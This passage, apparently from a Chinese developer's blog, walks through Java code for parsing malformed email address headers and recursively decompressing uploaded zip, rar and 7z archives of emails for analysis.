if(e.getMessage().indexOf("Missing \'<\'")!=-1)
{
// log.info("Bcc result: "+email.getHeader("Bcc",","));
set_bcc(parse(email.getHeader("Bcc",",")));
}
else
{
log.error("BCC Exception : "+e.getMessage());
}
}
try {
set_cc(email.getRecipients(RecipientType.CC));
} catch (MessagingException e) {
if(e.getMessage().indexOf("Missing \'<\'")!=-1)
{
// log.error("CC Exception : "+e.getMessage());
// log.info("Cc result: "+email.getHeader("Cc",","));
set_cc(parse(email.getHeader("Cc",",")));
}
else
{
log.error("CC Exception : "+e.getMessage());
}
}
try {
set_to(email.getRecipients(RecipientType.TO));
} catch (MessagingException e) {
if(e.getMessage().indexOf("Missing \'<\'")!=-1)
{
// log.error("TO Exception : "+e.getMessage());
// log.info("To result: "+email.getHeader("To",","));
set_to(parse(email.getHeader("To",",")));
}
else
{
log.error("TO Exception : "+e.getMessage());
}
}
try {
set_from(email.getFrom());
} catch (MessagingException e) {
if(e.getMessage().indexOf("Missing \'<\'")!=-1)
{
// log.error("From Exception : "+e.getMessage());
// log.info("From result: "+email.getHeader("From",","));
set_from(parse(email.getHeader("From",",")));
}
else
{
log.error("From Exception : "+e.getMessage());
}
}

这是我自己写的异常邮件处理函数:(遇到异常的时候就调用我自己写的这个函数进行邮件收发人信息提取):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
public static InternetAddress[] parse(String s){
int start_personal = -1;
int end_personal = -1;
int start = -1;
int end = -1;
int length = s.length();
boolean res = false;
boolean sep1 = false;
boolean sep2 = false;
boolean sep3 = false;
int loc1 = -1;
Vector v = new Vector();
InternetAddress ma;
IdentityHashMap<String,String> tmpresult = new IdentityHashMap<>();
for(int index=0;index<length;index++){
char c = s.charAt(index);
switch (c){
case '\t':
case '\n':
case '\r':
case ' ':
case ',':
break;
case '\"':
if(start!=-1)
sep3=true;
break;
case '<':
loc1 = index;
int nameindex = loc1;
index++;
lableemail:
for(;index<length;++index)
{
c = s.charAt(index);
switch (c){
case '<':
sep1 = true;
nameindex = index;
break;
case '>':
if((index<length-1)&&(c==s.charAt(index+1)))
sep2=true;
res = true;
break lableemail;
}
}
if(sep1)
start_personal = loc1+1;
else
start_personal = start;
if(sep3)
end_personal = nameindex-2;
else
end_personal = nameindex;
start = nameindex+1;
end = index;
break;
default:
if(start==-1){
start=index;
}
}
if(res){
String name = s.substring(start_personal,end_personal).trim();
String email = s.substring(start,end).trim();
if(tmpresult.size()==0)
{
tmpresult.put(name,email);
}
else
{
for(Map.Entry<String,String> entry:tmpresult.entrySet()){
if ((entry.getKey().equals(name)!=true)||(entry.getValue().equals(email)!=true)){
tmpresult.put(name,email);
break;
}
}
}
res = false;
start_personal = -1;
end_personal = -1;
start = -1;
end = -1;
sep1=false;
sep2=false;
sep3=false;
}
if(sep2)
index++;
}
for(Map.Entry<String,String> entry:tmpresult.entrySet()){
ma = new InternetAddress();
ma.setAddress(entry.getValue());
try {
ma.setPersonal(entry.getKey());
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
v.addElement(ma);
}
InternetAddress[] var = new InternetAddress[v.size()];
v.copyInto(var);
return var;
}

​ 基本上,我这里项目ß出现的To、From、Cc、Bcc不符合规范的畸形邮件就可以处理好了。

做邮件分析的时候,因为前台上传的是邮件的压缩包,在后台处理的时候需要先对压缩包进行解压缩,然后再对邮件进行提取操作。

因为压缩包的扩展名名字可是rar、7z、zip。所以需要分情况进行解压缩。而且压缩包里面可能还有压缩包,需要递归解压缩。

对于zip文件当时用的是zip4j这个jar包,rar、7z文件用的是zip4j这个jar包。maven导入外部jar包的配置文件如下片段:

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>net.lingala.zip4j</groupId>
<artifactId>zip4j</artifactId>
<version>1.3.2</version>
</dependency>
<dependency>
<groupId>net.sf.sevenzipjbinding</groupId>
<artifactId>sevenzipjbinding-all-platforms</artifactId>
<version>9.20-2.00beta</version>
</dependency>

对于rar、7z格式文件解压缩的函数如下:

1
2
3
4
5
6
7
8
public void rar7zdecompress(String path,String destination) {
String filter = null;
try {
new SevenExtract(path, destination, false, filter).extract();
} catch (SevenExtract.ExtractionException e) {
e.printStackTrace();
}
}

对于zip格式文件解压缩的函数如下:(对于文件名可能是繁体中文、其他编码格式做了一些处理,不然解压缩会出错,当时设置了压缩文件初始密码,需要先解密):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public void zipdecompress(String path,String destination) {
String password = "password";
try {
ZipFile zipFile = new ZipFile(path);
UnzipParameters param = new UnzipParameters();
zipFile.setFileNameCharset("ISO8859-1");
// zipFile.setFileNameCharset("UTF-8");
// zipFile.setFileNameCharset("GBK");
if (!zipFile.isValidZipFile())
throw new ZipException("ZipFile Format Invalid!");
if (zipFile.isEncrypted()) {
zipFile.setPassword(password);
}
// zipFile.extractAll(destination);
List list = zipFile.getFileHeaders();
for (Iterator iterator = list.iterator(); iterator.hasNext(); ) {
FileHeader fh = (FileHeader) iterator.next();
byte[] b = fh.getFileName().getBytes("ISO8859-1");
String fname = null;
try {
fname = new String(b, "UTF-8");
if (fname.getBytes("UTF-8").length != b.length) {
fname = new String(b, "GBK");//most possible charset
}
} catch (Throwable e) {
//try other charset or ...
e.printStackTrace();
}
zipFile.extractFile(fh, destination, param, fname);
}
//System.out.println("Total File count: "+count);
} catch (ZipException e) {
// todo record compress exception information
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
}

在解压缩完成之后,会把压缩文件删除掉。简单的删除函数:

1
2
3
4
5
6
7
8
public  void deleteFile(Path path) {
try{
Files.delete(path);
}catch (Exception e)
{
e.printStackTrace();
}
}

递归解压缩的函数代码如下,这里统计了共解压得到多少封邮件,用于后续的前台进度展示(增加了对自定义后缀文件的解压缩,实际上就是zip文件):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public  long traverseFolder(String path, String destination, String originalFilename) {
long count = 0;
if (FilenameUtils.getExtension(originalFilename).compareToIgnoreCase("zip") == 0) {
zipdecompress(path, destination);
count = count + traverseFolder(destination, destination,"");
// count = count+traverseFolder(destination + File.separator + FilenameUtils.getBaseName(path), destination + File.separator + FilenameUtils.getBaseName(path));
} else if (FilenameUtils.getExtension(originalFilename).compareToIgnoreCase("7z") == 0 ||
FilenameUtils.getExtension(path).compareToIgnoreCase("rar") == 0
) {
rar7zdecompress(path,destination);
count = count+traverseFolder(destination,destination,"");
} else {
Path dir = Paths.get(path);
try {
DirectoryStream<Path> directorySteam = Files.newDirectoryStream(dir);
for (Path filePath : directorySteam) {
if (Files.isDirectory(filePath)) {
count = count + traverseFolder(destination + File.separator + FilenameUtils.getBaseName(filePath.toString()),
destination + File.separator + FilenameUtils.getBaseName(filePath.toString()),"");
} else {
if (FilenameUtils.getExtension(filePath.toString()).compareToIgnoreCase("zip") == 0) {
zipdecompress(filePath.toString(), destination + File.separator + FilenameUtils.getBaseName(filePath.toString()));
deleteFile(filePath);
count = count + traverseFolder(destination + File.separator + FilenameUtils.getBaseName(filePath.toString()),
destination + File.separator + FilenameUtils.getBaseName(filePath.toString()),"");
} else if (FilenameUtils.getExtension(filePath.toString()).compareToIgnoreCase("7z") == 0 ||
FilenameUtils.getExtension(filePath.toString()).compareToIgnoreCase("rar") == 0
) {
rar7zdecompress(filePath.toString(), destination + File.separator + FilenameUtils.getBaseName(filePath.toString()));
deleteFile(filePath);
count = count+traverseFolder(destination + File.separator + FilenameUtils.getBaseName(filePath.toString()),
destination + File.separator + FilenameUtils.getBaseName(filePath.toString()),"");
} else if(FilenameUtils.getExtension(filePath.toString()).compareToIgnoreCase("pzt")==0){
zipdecompress(filePath.toString(), destination + File.separator + FilenameUtils.getBaseName(filePath.toString()));
deleteFile(Paths.get(filePath.toString()));
//只处理json文件,所有计数加1即可
// count = count + traverseFolder(destination + File.separator + FilenameUtils.getBaseName(filePath.toString()),
// destination + File.separator + FilenameUtils.getBaseName(filePath.toString()),"");
count++;
}else if(Files.isRegularFile(filePath)) {
count++;
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
return count;
}